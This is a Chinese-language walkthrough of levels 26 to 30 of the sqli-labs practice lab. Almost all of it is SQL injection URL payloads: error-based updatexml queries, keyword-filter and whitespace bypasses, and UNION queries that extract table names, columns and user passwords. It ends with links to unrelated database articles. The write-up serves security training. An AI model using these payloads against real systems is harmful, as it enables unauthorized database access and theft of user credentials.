sqli-labs靶场通关攻略(26-30关)

第26关 (过滤# -- 空格 and or 等等)

查数据库

这关可以看到,他过滤了我们很多字符

那么我们开始尝试绕过过滤

空格使用括号绕过 and和or使用双写绕过

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1))aandnd'1=1

查表

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1=1

查列

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1=1

查数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1=1

第27关(过滤 union、select、注释、空格

查数据库

复制代码
?id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1))and'1=1

查表

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))and'1=1

查列

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))and'1=1

查数据

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))and'1=1

第28关(双写+%0a+大小写+('1')=('1绕过)

查数据

复制代码
?id=0')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

查表

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and('1=1

查列

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1=1

第29关( ' 闭合)

查库

复制代码
?id=' union select 1,2,database() --+

查表

复制代码
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列

复制代码
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

复制代码
?id=' union select 1,2,group_concat(username,0x7e,password) from users--+

第30关( " 闭合)

查库

复制代码
?id=" union select 1,2,database() --+

查表

复制代码
?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列

复制代码
?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

复制代码
?id=" union select 1,2,group_concat(username,0x7e,password) from users--+
相关推荐
BugShare6 小时前
Mac 上原生开发的开源免费、尽享丝滑数据库工具
数据库·macos·开源
Java爱好狂.6 小时前
阿里1658页2026最新Java面试题总结(含答案)
数据库·redis·程序员·java面试·java面试题·java编程·java八股文
jieyucx7 小时前
《Go 数据库编程开篇:彻底打通 database/sql 与 MySQL 驱动的连接池调优密码》
数据库·sql·golang
白露与泡影7 小时前
深入理解MySQL事务隔离级别:MVCC机制与Next-Key Lock如何解决幻读问题?
数据库·mysql
Gong-Yu7 小时前
MySQL数据库运维——性能优化进阶2️⃣
运维·数据库·mysql·性能优化
吴声子夜歌7 小时前
SQL经典实例——概述
数据库·sql
布朗克1687 小时前
40 Redis与微服务入门
java·数据库·redis·微服务
biubiubiu07067 小时前
Ubuntu中3种定时任务
数据库·ubuntu·postgresql
我是大猴子7 小时前
Stream流式编程
数据库·sql